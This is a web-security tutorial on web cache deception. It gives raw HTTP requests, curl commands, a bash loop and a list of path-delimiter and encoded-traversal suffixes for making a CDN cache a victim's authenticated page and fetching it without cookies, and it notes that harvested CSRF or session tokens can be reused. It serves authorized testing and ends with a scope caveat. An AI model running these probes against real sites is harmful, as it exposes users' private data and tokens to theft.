Web Cache Deception: Tricking the CDN Into Storing Private Pages
A path-confusion trick makes a CDN cache a victim's authenticated response under a static-looking URL the attacker can fetch. We cover the delimiter and extension probes and a working data-theft PoC.
Web cache deception turns a caching layer against its users: the origin returns a victim's private, authenticated page, while the cache — fooled by a static-looking URL — stores that response and serves it to anyone who requests the same path. Where cache poisoning changes a shared page, deception steals an individual's data, and the whole attack hinges on the cache and origin disagreeing about what a URL means.
Where it hides
The bug needs two ingredients: a cache that decides "cacheable" from the URL's apparent file type, and an origin that ignores trailing path segments it does not recognize. Hunt for:
- Authenticated, per-user pages behind a CDN (
/account,/api/me,/settings,/profile). - Frameworks that route loosely —
/account/anythingstill serving/account. - CDNs (Cloudflare, Akamai, Fastly, nginx caches) configured to cache by static extension or by path prefix.
The discovery method is to append a static-looking suffix and observe two things: does the origin still return the private content, and does the cache store it? First confirm the origin ignores the suffix while authenticated:
GET /account/profile.css HTTP/1.1
Host: app.example.com
Cookie: session=<YOUR_OWN_SESSION>
If the response body is your real profile JSON/HTML (not a 404, not a stylesheet), the origin discarded /profile.css. Now check whether the cache stored it by re-requesting the same path and reading the cache-status header:
curl -s -D- -o /dev/null "https://app.example.com/account/profile.css" \
-H "Cookie: session=<YOUR_OWN_SESSION>" | grep -iE 'x-cache|cf-cache-status|age'
An X-Cache: HIT / CF-Cache-Status: HIT / non-zero Age on that URL means the private response is sitting in a shared cache.
Reproducing it
The repro is a two-actor flow you can simulate with two sessions (a "victim" account and an unauthenticated client). Step one: as the victim, request the deceptive URL so the origin serves their private data and the cache stores it:
GET /account/info.css HTTP/1.1
Host: app.example.com
Cookie: session=<VICTIM_SESSION>
Step two: as the attacker — no cookies at all — fetch the exact same URL:
GET /account/info.css HTTP/1.1
Host: app.example.com
If the unauthenticated request returns the victim's private profile (their email, name, tokens) with a cache HIT, you have stolen their data straight from the cache. That cookie-less response containing another user's information is the finding.
Different stacks key on different things, so rotate the suffix and the delimiter until one collapses cache-vs-origin:
/account/x.css (extension the cache treats as static)
/account/x.js
/account.css (some routers ignore the extension on the resource)
/account/x.css? (trailing query)
/account%2f..%2fx.css (path traversal-style normalization gap)
/account;x.css (path-parameter delimiter)
/account/%2e%2e/x.js (encoded dot-segment)
The semicolon and encoded-slash variants matter because some caches normalize the path one way and the origin another — exactly the disagreement the attack needs:
for p in 'account/x.css' 'account;x.css' 'account/%2e%2e/x.js' 'account%2f..%2fx.css'; do
echo "== /$p =="
curl -s -D- -o /dev/null "https://app.example.com/$p" \
-H "Cookie: session=<VICTIM_SESSION>" | grep -iE 'x-cache|cf-cache-status'
done
Going further
The value scales with what the cached page exposes:
- A profile or
/api/meresponse leaking email, address, and account IDs. - A page that embeds a CSRF token or session/API token — cache it, fetch it unauthenticated, then reuse the token.
- Admin or billing pages that render sensitive data to staff and end up cached under a
.csspath.
A practical recon habit is to take every authenticated page behind the CDN and request it with a .css/.js suffix while logged in, watching for the body to stay private and the cache to flag a hit — that pair is the entire vulnerability. Capture the deceptive URL, the authenticated request that seeded the cache, and the unauthenticated request that returned the victim's data. Use accounts you control as the victim and keep testing on authorized scope, fetching only enough to prove the leak.